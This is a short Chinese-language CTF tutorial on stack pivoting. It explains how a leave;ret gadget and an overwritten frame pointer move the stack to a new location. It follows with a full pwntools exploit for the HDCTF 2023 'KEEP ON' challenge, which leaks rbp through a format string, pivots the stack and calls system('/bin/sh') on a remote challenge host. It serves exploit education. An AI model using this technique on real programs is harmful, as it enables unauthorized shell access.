PWN入门-栈迁移

基本原理

在正常栈溢出时,需要设计ebp和Return Address俩。ebp篡改为需要将栈迁移到的地址-4,Return Address需要篡改为某个含leave;retn;的ROPgadget。

实际运行时,先运行原先的leave;retn;mov esp,ebp;时esp指向被篡改的ebp;pop ebp;将篡改的地址放入ebp,且esp上移,指向被篡改的Return Address;pop eip;将ROPgadget的地址放入eip,篡改执行流。

在进入ROPgadget后,再次执行leave;retn;mov esp,ebp时将迁移地址-4移入esp,栈顶指针被劫持,发生栈迁移;pop ebp;时ebp仍为迁移地址-4,但esp拉高4字节,指向迁移地址;pop eip时迁移地址移入eip,成功篡改执行流。

做题

[HDCTF 2023]KEEP ON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p=remote("node4.anna.nssctf.cn",28107)
elf=ELF("./attachment")
rop=ROP(elf)

p.recvuntil("please show me your name: \n")
payload1=b'%16$p'
p.send(payload1) #动调找rbp在格式化字符串中偏移为16
p.recvuntil("hello,0x")
old_rbp=int(p.recv(12),16)

stack_target=old_rbp-0x60-0x8 #找个合适的地址迁移 read了0x60个字节 再-8
pop_rdi_ret_addr=p64(rop.find_gadget(['pop rdi','ret'])[0]) #offset=0x8
str_bin_sh_addr=p64(stack_target+0x8+0x18) #offset=0x8+0x8
system_addr=elf.plt["system"] #offset=0x8+0x10
str_bin_sh=b'/bin/sh\x00' #offset=0x8+0x18
payload2=flat([pop_rdi_ret_addr,str_bin_sh_addr,system_addr,str_bin_sh])
payload2=payload2.ljust(0x50,b'a')
leave_ret_addr=p64(rop.find_gadget(["leave","ret"])[0])
payload2+=flat([stack_target,leave_ret_addr])
p.recvuntil("keep on !\n")
p.sendline(payload2)
p.interactive()